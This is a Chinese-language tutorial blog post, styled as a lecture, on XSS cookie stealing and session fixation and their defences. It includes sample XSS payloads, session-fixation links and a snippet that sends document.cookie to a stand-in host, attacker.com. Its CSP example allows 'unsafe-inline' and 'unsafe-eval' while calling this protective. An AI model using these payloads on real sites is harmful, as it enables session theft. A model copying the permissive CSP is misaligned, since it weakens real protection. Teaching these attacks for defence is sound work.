JS `Cookie Stealing` (`XSS`) 与 `Session Fixation` (会话固定) 攻击

各位观众老爷,晚上好!我是今晚的主讲人,咱们今天聊点刺激的,关于网络安全那些事儿。今天的主题是:JS Cookie Stealing (XSS) 与 Session Fixation (会话固定) 攻击。

别害怕,听起来高大上,其实没那么玄乎。咱们用最接地气的方式,把这些攻击的原理、危害以及防御手段,扒个底朝天。

一、Cookie Stealing (XSS):你饼干里的秘密,我来偷!

首先,我们要搞清楚什么是 Cookie。Cookie 这玩意儿,就像网站在你电脑里放的小纸条,上面记着你的身份信息(比如登录状态)。下次你再来,网站一看这纸条,就知道“哦,老熟人!”。

XSS (Cross-Site Scripting),跨站脚本攻击,就是坏人往网站里塞了一段恶意代码(通常是 JavaScript),这段代码就像病毒一样,在你浏览网页的时候悄悄运行,然后偷偷把你的 Cookie 偷走!

1. XSS 的三种类型:

  • 存储型 XSS (Stored XSS): 坏人把恶意代码存到了网站的数据库里。比如,在评论区写了一段包含恶意 JS 代码的评论。以后只要有人浏览这条评论,恶意代码就会执行。

    <!-- 正常的评论 -->
    <div>
        <p>这个文章写得真好!</p>
    </div>
    
    <!-- 恶意的评论 -->
    <div>
        <p>这个文章写得真好!<script>alert("你的Cookie被我偷走了!");</script></p>
    </div>
  • 反射型 XSS (Reflected XSS): 坏人把恶意代码放在 URL 里,诱骗你点击。比如,通过邮件或者社交媒体发给你一个包含恶意 JS 代码的链接。你一点,恶意代码就执行了。

    http://example.com/search?query=<script>alert("你的Cookie被我偷走了!");</script>

    当你访问这个链接时,服务器可能会将 query 参数的值(包含恶意脚本)直接输出到页面上,导致脚本执行。

  • DOM 型 XSS (DOM-based XSS): 坏人利用客户端 JavaScript 代码的漏洞,修改页面的 DOM 结构,插入恶意代码。这种攻击不需要服务器的参与。

    <!-- 存在漏洞的代码 -->
    <script>
        var search = document.location.hash.substring(1); // 从 URL 的 hash 部分获取参数
        document.getElementById("result").innerHTML = search; // 直接将参数输出到页面上
    </script>
    
    <!-- 攻击 URL -->
    http://example.com/#<img src=x onerror=alert("DOM XSS!");>

    这段代码直接将 URL 的 hash 部分的内容输出到页面上,如果 hash 部分包含恶意代码,就会导致 DOM XSS 攻击。

2. 攻击流程:

  1. 注入恶意代码: 坏人通过各种手段,把恶意 JavaScript 代码注入到网站。
  2. 用户访问: 用户访问包含恶意代码的页面。
  3. 代码执行: 用户的浏览器执行恶意 JavaScript 代码。
  4. 窃取 Cookie: 恶意代码将用户的 Cookie 发送到坏人的服务器。

    // 恶意代码示例
    var cookie = document.cookie;
    var img = new Image();
    img.src = "http://attacker.com/steal?cookie=" + cookie; // 发送到坏人的服务器

3. 防御手段:

  • 输入验证 (Input Validation): 对所有用户输入进行严格的验证和过滤,阻止恶意代码进入系统。

    • 白名单策略: 只允许特定的字符和格式,拒绝所有其他的输入。
    • 黑名单策略: 过滤掉已知的恶意字符和代码,但这种方式容易被绕过。
    // 输入验证示例 (使用白名单策略)
    function sanitizeInput(input) {
        // 只允许字母、数字和空格
        return input.replace(/[^a-zA-Z0-9 ]/g, "");
    }
  • 输出编码 (Output Encoding): 在将用户输入输出到页面时,进行适当的编码,防止恶意代码被执行。

    • HTML 编码: 将 HTML 特殊字符(如 <>"' 等)转换为 HTML 实体。
    • JavaScript 编码: 对 JavaScript 代码中的特殊字符进行转义。
    • URL 编码: 对 URL 中的特殊字符进行转义。
    // HTML 编码示例
    function escapeHTML(str) {
        var div = document.createElement('div');
        div.appendChild(document.createTextNode(str));
        return div.innerHTML;
    }
    
    // 使用示例
    var userInput = "<script>alert('XSS');</script>";
    var escapedInput = escapeHTML(userInput);
    document.getElementById("result").innerHTML = escapedInput; // 输出:&lt;script&gt;alert('XSS');&lt;/script&gt;
  • 内容安全策略 (CSP): 通过 HTTP 头部或 HTML 标签,告诉浏览器哪些来源的资源是可信的,限制恶意脚本的执行。

    <!-- CSP 配置示例 (通过 HTTP 头部) -->
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;
    • default-src 'self':默认只允许加载同源的资源。
    • script-src 'self' 'unsafe-inline' 'unsafe-eval':允许加载同源的脚本,以及内联脚本和使用 eval() 函数。
    • style-src 'self' 'unsafe-inline':允许加载同源的样式,以及内联样式。
    • img-src 'self' data::允许加载同源的图片,以及使用 data URI 的图片。
  • HTTP Only Cookie: 设置 Cookie 的 HttpOnly 属性,禁止客户端 JavaScript 代码访问 Cookie。

    Set-Cookie: sessionid=123456789; HttpOnly
  • 定期更新和扫描: 定期更新网站的软件和组件,修复已知的安全漏洞。使用安全扫描工具,检测网站是否存在 XSS 漏洞。

二、Session Fixation:狸猫换太子,偷梁换柱!

Session Fixation,会话固定攻击,就是坏人先给你一个合法的 Session ID,然后诱骗你登录。等你登录后,坏人就可以使用这个 Session ID,冒充你登录网站!

1. 攻击流程:

  1. 获取 Session ID: 坏人通过各种手段,获取一个合法的 Session ID。比如,通过 URL 参数、Cookie 或者其他方式。

    http://example.com/login?sessionid=123456789
  2. 诱骗用户登录: 坏人诱骗用户使用这个 Session ID 登录网站。比如,通过邮件或者社交媒体发给用户一个包含 Session ID 的链接。

    http://example.com/login?sessionid=123456789
  3. 用户登录: 用户点击链接,使用坏人提供的 Session ID 登录网站。

  4. 冒充用户: 坏人使用这个 Session ID,冒充用户登录网站,进行各种操作。

2. 防御手段:

  • 登录后 Regenerate Session ID: 用户成功登录后,立即生成一个新的 Session ID,替换旧的 Session ID。

    <?php
    session_start();
    
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        // 验证用户名和密码
        if ($_POST["username"] == "admin" && $_POST["password"] == "password") {
            // 登录成功,生成新的 Session ID
            session_regenerate_id(true); // true 表示删除旧的会话文件
            $_SESSION["loggedin"] = true;
            header("Location: /dashboard");
            exit;
        } else {
            // 登录失败
            echo "Invalid username or password.";
        }
    }
    ?>
  • 不要在 URL 中传递 Session ID: 尽量使用 Cookie 来传递 Session ID,避免 Session ID 暴露在 URL 中。

  • 设置 Cookie 的 Secure 属性: 设置 Cookie 的 Secure 属性,只允许通过 HTTPS 连接发送 Cookie。

    Set-Cookie: sessionid=123456789; Secure; HttpOnly
  • 设置 Session 的过期时间: 设置 Session 的过期时间,防止 Session ID 被长期滥用。

  • 使用框架提供的 Session 管理机制: 大多数 Web 开发框架都提供了安全的 Session 管理机制,尽量使用这些机制,避免自己实现 Session 管理。

三、总结:

攻击类型 原理 危害 防御手段
XSS 通过注入恶意脚本,窃取用户的 Cookie 或执行其他恶意操作。 窃取用户的 Cookie,冒充用户登录,篡改页面内容,传播恶意软件等。 输入验证、输出编码、CSP、HTTP Only Cookie、定期更新和扫描。
Session Fixation 坏人先给用户一个合法的 Session ID,然后诱骗用户登录,冒充用户。 冒充用户登录,进行各种操作。 登录后 Regenerate Session ID、不要在 URL 中传递 Session ID、设置 Cookie 的 Secure 属性、设置 Session 的过期时间、使用框架提供的 Session 管理机制。

四、代码示例:

下面是一个简单的登录页面,展示了如何防止 XSS 和 Session Fixation 攻击。

<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h1>Login</h1>
    <form method="post" action="login.php">
        <label for="username">Username:</label>
        <input type="text" id="username" name="username"><br><br>
        <label for="password">Password:</label>
        <input type="password" id="password" name="password"><br><br>
        <input type="submit" value="Login">
    </form>
</body>
</html>
<?php
session_start();

// 输入验证
function sanitizeInput($input) {
    return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = sanitizeInput($_POST["username"]);
    $password = sanitizeInput($_POST["password"]);

    // 验证用户名和密码 (这里只是示例,实际应用中需要更安全的验证方式)
    if ($username == "admin" && $password == "password") {
        // 登录成功,生成新的 Session ID
        session_regenerate_id(true);
        $_SESSION["loggedin"] = true;
        header("Location: /dashboard");
        exit;
    } else {
        // 登录失败
        echo "Invalid username or password.";
    }
}
?>

五、Q & A 环节:

好了,今天的讲座就到这里。现在是 Q & A 环节,大家有什么问题可以提出来,我会尽力解答。

(等待提问)

六、结束语:

感谢大家的参与!网络安全无小事,希望大家能够重视起来,保护好自己的信息安全。记住,安全不是一蹴而就的,而是一个持续不断的过程。咱们下次再见!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注